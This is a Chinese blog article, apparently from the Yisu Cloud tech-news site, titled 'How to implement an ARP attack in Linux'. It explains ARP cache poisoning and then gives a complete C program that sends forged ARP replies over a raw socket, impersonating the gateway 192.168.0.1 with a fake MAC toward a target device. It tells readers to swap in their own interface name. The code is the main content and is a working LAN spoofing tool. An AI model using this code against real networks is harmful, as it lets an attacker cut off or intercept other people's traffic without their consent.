温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Linux中怎么实现arp攻击

发布时间:2021-08-09 14:31:09 来源:亿速云 阅读:588 作者:Leah 栏目:互联网科技

今天就跟大家聊聊有关Linux中怎么实现arp攻击,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

ARP:Address Resolution Protocol 地址解析协议。它是一个链路层的协议。工作在OSI模型的第二层。

    由于以太网交换设备不能直接识别32位的IP地址。事实上它们都是以48位的MAC地址传输数据的,所以在工作时需要存在一种MAC地址和IP地址的对应关系。而ARP协议就是用来确定这种关系的。

    网络中所有的机器都包含ARP缓存,它存储了本地网络中最近时间的MAC地址和IP地址的对应关系。正常情况下当ARP工作时,请求主机发出一个含有目标IP的以太网广播数据,然后目标IP会发出一个含有IP地址和对应MAC地址的应答包。这样请求主机就能够获得一对IP地址和MAC地址,然后将这一组对应关系放入ARP缓存。ARP缓存表采用老化机制,一段时间内表中的某一行不用就会被删除。

    而对于一台局域网上的主机,如果收到一个ARP应答报文,即便它并没有发送请求报文或者并不是它目标IP的应答报文,该主机也会将报文中的IP和MAC地址存入缓存。

    如此,我们只要让被攻击的目标主机相信我们的MAC地址是网关的MAC地址。让目标主机的网关相信我们的MAC地址是被攻击的

    目标主机的MAC,那么所有要发往目标主机的报文就会被发到我们的主机上。

灵魂作图时间

Linux中怎么实现arp攻击

Linux中怎么实现arp攻击

下面进行一次实践,攻击者为我的Ubuntu系统的电脑,被攻击的为我的华为手机

Linux中怎么实现arp攻击

代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>

#define print_errno(fmt, ...) \    printf("[%d] errno=%d (%s) #" fmt, \        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv) {
   struct ether_header *eth = NULL;
   struct ether_arp *arp = NULL;
   struct ifreq ifr;
   struct in_addr daddr;
   struct in_addr saddr;
   struct sockaddr_ll sll;
   int skfd;int n = 0;
   unsigned char dmac[ETH_ALEN] = {0x38,0x37,0x8B,0xC3,0x61,0x4D};//被攻击对象的mac地址
     daddr.s_addr = inet_addr("192.168.0.125");//被攻击对象的ip地址

     unsigned char smac[ETH_ALEN] = {0x01,0x02,0x03,0x04,0x05,0x06};//使被攻击对象的arp表改为这个假的mac地址
   saddr.s_addr = inet_addr("192.168.0.1");//路由器

   memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
   if (skfd < 0) {        print_errno("socket() failed! \n");
       return -1;    }    bzero(&ifr,sizeof(ifr));
   strcpy(ifr.ifr_name, "wlp8s0");//这里是我的网卡名字,要改为你的网卡名字,使用ifconfig查看

   if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {        print_errno("ioctl() SIOCGIFINDEX failed!\n");
       return -1;    }
   printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);    bzero(&sll, sizeof(sll));    sll.sll_ifindex  = ifr.ifr_ifindex;    sll.sll_family   = PF_PACKET;    sll.sll_protocol = htons(ETH_P_ALL);    eth = (struct ether_header*)s_ip_frame_data;    eth->ether_type = htons(ETHERTYPE_ARP);
   memcpy(eth->ether_dhost, dmac, ETH_ALEN);
   memcpy(eth->ether_shost, smac, ETH_ALEN);    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));    arp->arp_hrd = htons(ARPHRD_ETHER);    arp->arp_pro = htons(ETHERTYPE_IP);    arp->arp_hln = ETH_ALEN;    arp->arp_pln = 4;    arp->arp_op  = htons(ARPOP_REPLY);//ARPOP_REQUEST  ARPOP_REPLY 我使用的是replay,至于request你自己去弄,我就不说了

   memcpy(arp->arp_sha, smac, ETH_ALEN);
   memcpy(arp->arp_spa, &saddr.s_addr, 4);
   memcpy(arp->arp_tha, dmac, ETH_ALEN);
   memcpy(arp->arp_tpa, &daddr.s_addr, 4);    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);    n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \    (struct sockaddr*)&sll, sizeof(sll));
   if (n < 0) {        print_errno("sendto() failed!\n");    }else {
   printf("sendto() n = %d \n", n);    }    close(skfd);
   return 0; }

看完上述内容,你们对Linux中怎么实现arp攻击有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI